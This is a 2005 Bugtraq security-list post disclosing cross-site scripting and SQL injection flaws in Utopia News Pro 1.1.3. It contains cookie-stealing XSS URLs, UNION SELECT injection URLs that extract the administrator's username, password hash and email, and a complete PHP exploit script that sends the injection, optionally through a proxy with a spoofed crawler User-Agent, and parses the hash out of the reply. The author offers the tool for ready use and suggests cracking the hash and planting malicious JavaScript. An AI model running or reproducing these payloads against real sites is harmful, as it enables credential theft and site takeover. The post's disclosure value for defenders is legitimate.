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Message-ID: <20051007021557.14015.qmail@securityfocus.com>
Date: 7 Oct 2005 02:15:57 -0000
From: retrogod@...ceposta.it
To: bugtraq@...urityfocus.com
Subject: Utopia News Pro 1.1.3 SQL Injection / cross site scripting
2.56 07/10/2005
Utopia News Pro 1.1.3 SQL Injection / cross site scripting
software:
site:
http://www.utopiasoftware.net
a)xss:
http://[target]/[path]/header.php?sitetitle=</title><script>alert(document.cookie)</script><!--
http://[target]/[path]/footer.php?version=<script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?query_count=<script>alert(document.cookie)</script>
b)if magic quotes off ->SQL INJECTION:
you can retrieve admin username and password (it is the same user & password of mysql database [!], very insecure, don't you think?), poc:
http://[target]/[path]/news.php?action=printable&newsid=%27%20UNION%20SELECT%20null,'20051007',username,password,null,email,null%20FROM%20unp_user%20WHERE%20userid=1/*
some versions prior from 1.1.3 (different number of columns...):
http://[target]/[path]/news.php?action=printable&newsid=%27%20UNION%20SELECT%20null,'20051007',username,password,null,email%20FROM%20unp_user%20WHERE%20userid=1/*
now you have the md5 password hash, force it, after you login as admin you can edit template
and leave some evil javascript, you can post/edit/delete news, add/edit/delete users, etc.
this is the tool, for lazy people:
<?php
# 3.10 07/10/2005 #
# utopia_xpl.php #
# #
# Utopia News Pro 1.1.3 (possibly prior versions) SQL Injection / #
# Administrative credentials disclosure #
# by rgod #
# site: http://rgod.altervista.org #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: launch this script from Apache, fill requested fields, then #
# ... grab admin MD5 passowrd hash right now #
# #
# Sun-Tzu: "All warfare is based on deception" #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<head><title> Utopia News Pro 1.1.3 SQL Injection </title><meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type=
"text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6"> Utopia News
Pro 1.1.3 SQL Injection</p> <p class="Stile6">a script by rgod at
<a href="http://rgod.altervista.org" target="_blank">http://rgod.altervista.org
</a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post"
action="'.$SERVER[PHP_SELF].'?path=value&host=value&port=value&proxy=value"> <p>
<input type="text" name="host"><span class="Stile5">hostname (ex: www.sitename.c
om) </span></p><p><input type="text" name="path"><span class="Stile5"> path
(ex: /utopia/ or just /) </span></p><p><input type="text" name="port" > <span
class="Stile5">specify a port other than 80 (default value) </span></p><p><input
type="text" name="proxy"> <span class="Stile5"> send exploit through an HTTP
proxy (ip:port) </span></p> <p> <input type="submit"name="Submit" value="go!">
</p></form></td></tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
if (($path<>'') and ($host<>''))
{
if ($port=='') {$port=80;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$sql="-1' UNION SELECT null,'20051007',username,password,null,email,null FROM unp_user WHERE userid=1 /*";
#switch to this for some versions prior from 1.1.3 (different number of columns...)
#$sql="-1' UNION SELECT null,'20051007',username,password,null,email FROM unp_user WHERE userid=1 /*";
$sql=urlencode($sql);
$packet="GET ".$p."news.php?action=printable&newsid=".$sql." HTTP/1.0 \r\n";
$packet.="User-Agent: msnbot/1.0 (+http://search.msn.com/msnbot.htm)\r\n";
$packet.="Accept: */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host.":".$port."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);
# you can see hash inside html, but if version is the one I tested we can try to find it now...
$temp=explode("<!-- PrintNews.Bit -->",$html);
$temp2=explode("<strong>",$temp[1]);
$temp3=explode("</strong>",$temp2[1]);
$username=$temp3[0];
echo '<br><br> username: '.htmlentities($username).'<br>';
$temp=explode("Posted by ",$html);
$temp2=explode("on",$temp[1]);
$email=trim($temp2[0]);
echo 'email: '.htmlentities($email).'<br>';
$temp=explode("<!-- PrintNews.Bit -->",$html);
$temp2=explode("<td>",$temp[1]);
$temp3=explode("</td>",$temp2[1]);
$hash=trim($temp3[0]);
echo 'hash: '.htmlentities($hash).'<br>';
}
else
{echo '<br>Fill requested fields, optionally specify a proxy...<br>';}
?>
rgod
email: rgod at aliceposta.it
site: http://rgod.altervista.org
original advisory: http://rgod.altervista.org/utopia113.html
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